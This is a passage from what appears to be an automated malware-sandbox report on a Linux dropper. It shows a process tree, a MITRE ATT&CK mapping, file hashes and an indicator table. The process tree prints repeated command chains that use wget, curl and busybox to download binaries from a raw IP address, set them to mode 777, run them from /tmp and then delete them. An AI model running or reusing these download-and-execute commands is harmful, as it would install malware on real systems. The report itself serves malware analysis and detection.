  - Reads runtime system information
  - Writes file to tmp directory
  PID:960
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/rVJ9W48EiBkY2qKPChyniNtNM7aSW0i2Zu
  2⤵
  PID:961
- /bin/chmod
  chmod 777 rVJ9W48EiBkY2qKPChyniNtNM7aSW0i2Zu
  2⤵
  - File and Directory Permissions Modification
  PID:962
- /tmp/rVJ9W48EiBkY2qKPChyniNtNM7aSW0i2Zu
  ./rVJ9W48EiBkY2qKPChyniNtNM7aSW0i2Zu
  2⤵
  - Executes dropped EXE
  PID:963
- /bin/rm
  rm rVJ9W48EiBkY2qKPChyniNtNM7aSW0i2Zu
  2⤵
  PID:964
- /usr/bin/wget
  wget http://216.126.231.240/bins/qyCnZJ5Sqk6oxhJgUJH1ssQuiWAYm4vYnr
  2⤵
  PID:965
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/qyCnZJ5Sqk6oxhJgUJH1ssQuiWAYm4vYnr
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:966
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/qyCnZJ5Sqk6oxhJgUJH1ssQuiWAYm4vYnr
  2⤵
  PID:967
- /bin/chmod
  chmod 777 qyCnZJ5Sqk6oxhJgUJH1ssQuiWAYm4vYnr
  2⤵
  - File and Directory Permissions Modification
  PID:968
- /tmp/qyCnZJ5Sqk6oxhJgUJH1ssQuiWAYm4vYnr
  ./qyCnZJ5Sqk6oxhJgUJH1ssQuiWAYm4vYnr
  2⤵
  - Executes dropped EXE
  PID:969
- /bin/rm
  rm qyCnZJ5Sqk6oxhJgUJH1ssQuiWAYm4vYnr
  2⤵
  PID:970
- /usr/bin/wget
  wget http://216.126.231.240/bins/jMz018FmqirIthXno2QOE7F6cNd83CvXXY
  2⤵
  PID:971
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/jMz018FmqirIthXno2QOE7F6cNd83CvXXY
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:972
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/jMz018FmqirIthXno2QOE7F6cNd83CvXXY
  2⤵
  PID:973
- /bin/chmod
  chmod 777 jMz018FmqirIthXno2QOE7F6cNd83CvXXY
  2⤵
  - File and Directory Permissions Modification
  PID:974
- /tmp/jMz018FmqirIthXno2QOE7F6cNd83CvXXY
  ./jMz018FmqirIthXno2QOE7F6cNd83CvXXY
  2⤵
  - Executes dropped EXE
  PID:975
- /bin/rm
  rm jMz018FmqirIthXno2QOE7F6cNd83CvXXY
  2⤵
  PID:976
- /usr/bin/wget
  wget http://216.126.231.240/bins/iv4c8JysYuHJvbhRma1GzoMM3YnCOG2tXY
  2⤵
  PID:977
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/iv4c8JysYuHJvbhRma1GzoMM3YnCOG2tXY
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:978
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/iv4c8JysYuHJvbhRma1GzoMM3YnCOG2tXY
  2⤵
  PID:979
- /bin/chmod
  chmod 777 iv4c8JysYuHJvbhRma1GzoMM3YnCOG2tXY
  2⤵
  - File and Directory Permissions Modification
  PID:980
- /tmp/iv4c8JysYuHJvbhRma1GzoMM3YnCOG2tXY
  ./iv4c8JysYuHJvbhRma1GzoMM3YnCOG2tXY
  2⤵
  - Executes dropped EXE
  PID:981
- /bin/rm
  rm iv4c8JysYuHJvbhRma1GzoMM3YnCOG2tXY
  2⤵
  PID:982

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

rVJ9W48EiBkY2qKPChyniNtNM7aSW0i2Zu

Path /tmp/rVJ9W48EiBkY2qKPChyniNtNM7aSW0i2Zu
Size 153B
SHA256 533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736
MD5 998368d7c95ea4293237f2320546e440
SHA1 30dfd2d3bb8a7e3241bd7792e90a98ebb70be3a4
SHA512 648c4720a85dbf834be1ba00f0e1b4167cc670fe15896efb00a77fb6e0c225a13aae3da10d85fa6e7f726420d9bb3c20c43466e02296d44153c127b7160e0b97
MD5 SHA1 SHA512

Submit Download

ioc	pid	Process
/tmp/rVJ9W48EiBkY2qKPChyniNtNM7aSW0i2Zu	740	rVJ9W48EiBkY2qKPChyniNtNM7aSW0i2Zu
/tmp/qyCnZJ5Sqk6oxhJgUJH1ssQuiWAYm4vYnr	747	qyCnZJ5Sqk6oxhJgUJH1ssQuiWAYm4vYnr
/tmp/jMz018FmqirIthXno2QOE7F6cNd83CvXXY	755	jMz018FmqirIthXno2QOE7F6cNd83CvXXY
/tmp/iv4c8JysYuHJvbhRma1GzoMM3YnCOG2tXY	779	iv4c8JysYuHJvbhRma1GzoMM3YnCOG2tXY
/tmp/cEGEIHGdxnY0x08euKC0u5fr1kKINFRcr4	808	cEGEIHGdxnY0x08euKC0u5fr1kKINFRcr4
/tmp/IoK8hUPVrGlFR0Kb6yLTbZrgKBkpEvqrk4	819	IoK8hUPVrGlFR0Kb6yLTbZrgKBkpEvqrk4
/tmp/Es6MiN5WzwpSTugRMvTgayPgDFbBpZYYb0	825	Es6MiN5WzwpSTugRMvTgayPgDFbBpZYYb0
/tmp/Y5YOy13iVAQXMyJ1t6fzIDoXuyGBPtVGg2	841	Y5YOy13iVAQXMyJ1t6fzIDoXuyGBPtVGg2
/tmp/ew5XxM5yfsIMC4YvaJo6sPimptMp3yfV4p	865	ew5XxM5yfsIMC4YvaJo6sPimptMp3yfV4p
/tmp/FfOTFgueVMJAtK7pHeQKMDxnmcPBMbd7eP	873	FfOTFgueVMJAtK7pHeQKMDxnmcPBMbd7eP
/tmp/DmPLb6Tc3QZMkd2SyhaVS0wzI0ecuwwAfI	879	DmPLb6Tc3QZMkd2SyhaVS0wzI0ecuwwAfI
/tmp/BCDmLdkmM5D1bhEzTVoUiYVjKNEQzoRMx2	885	BCDmLdkmM5D1bhEzTVoUiYVjKNEQzoRMx2
/tmp/s45lvV1K474ofmcNwNK414hXZBMOCYnE5B	891	s45lvV1K474ofmcNwNK414hXZBMOCYnE5B
/tmp/f47uxlAMen7dzA4K47gsoTEIUktHUtjbtp	897	f47uxlAMen7dzA4K47gsoTEIUktHUtjbtp
/tmp/cEGEIHGdxnY0x08euKC0u5fr1kKINFRcr4	903	cEGEIHGdxnY0x08euKC0u5fr1kKINFRcr4
/tmp/IoK8hUPVrGlFR0Kb6yLTbZrgKBkpEvqrk4	909	IoK8hUPVrGlFR0Kb6yLTbZrgKBkpEvqrk4
/tmp/Es6MiN5WzwpSTugRMvTgayPgDFbBpZYYb0	915	Es6MiN5WzwpSTugRMvTgayPgDFbBpZYYb0
/tmp/Y5YOy13iVAQXMyJ1t6fzIDoXuyGBPtVGg2	921	Y5YOy13iVAQXMyJ1t6fzIDoXuyGBPtVGg2
/tmp/ew5XxM5yfsIMC4YvaJo6sPimptMp3yfV4p	927	ew5XxM5yfsIMC4YvaJo6sPimptMp3yfV4p
/tmp/FfOTFgueVMJAtK7pHeQKMDxnmcPBMbd7eP	933	FfOTFgueVMJAtK7pHeQKMDxnmcPBMbd7eP
/tmp/DmPLb6Tc3QZMkd2SyhaVS0wzI0ecuwwAfI	939	DmPLb6Tc3QZMkd2SyhaVS0wzI0ecuwwAfI
/tmp/BCDmLdkmM5D1bhEzTVoUiYVjKNEQzoRMx2	945	BCDmLdkmM5D1bhEzTVoUiYVjKNEQzoRMx2
/tmp/s45lvV1K474ofmcNwNK414hXZBMOCYnE5B	951	s45lvV1K474ofmcNwNK414hXZBMOCYnE5B
/tmp/f47uxlAMen7dzA4K47gsoTEIUktHUtjbtp	957	f47uxlAMen7dzA4K47gsoTEIUktHUtjbtp
/tmp/rVJ9W48EiBkY2qKPChyniNtNM7aSW0i2Zu	963	rVJ9W48EiBkY2qKPChyniNtNM7aSW0i2Zu
/tmp/qyCnZJ5Sqk6oxhJgUJH1ssQuiWAYm4vYnr	969	qyCnZJ5Sqk6oxhJgUJH1ssQuiWAYm4vYnr
/tmp/jMz018FmqirIthXno2QOE7F6cNd83CvXXY	975	jMz018FmqirIthXno2QOE7F6cNd83CvXXY
/tmp/iv4c8JysYuHJvbhRma1GzoMM3YnCOG2tXY	981	iv4c8JysYuHJvbhRma1GzoMM3YnCOG2tXY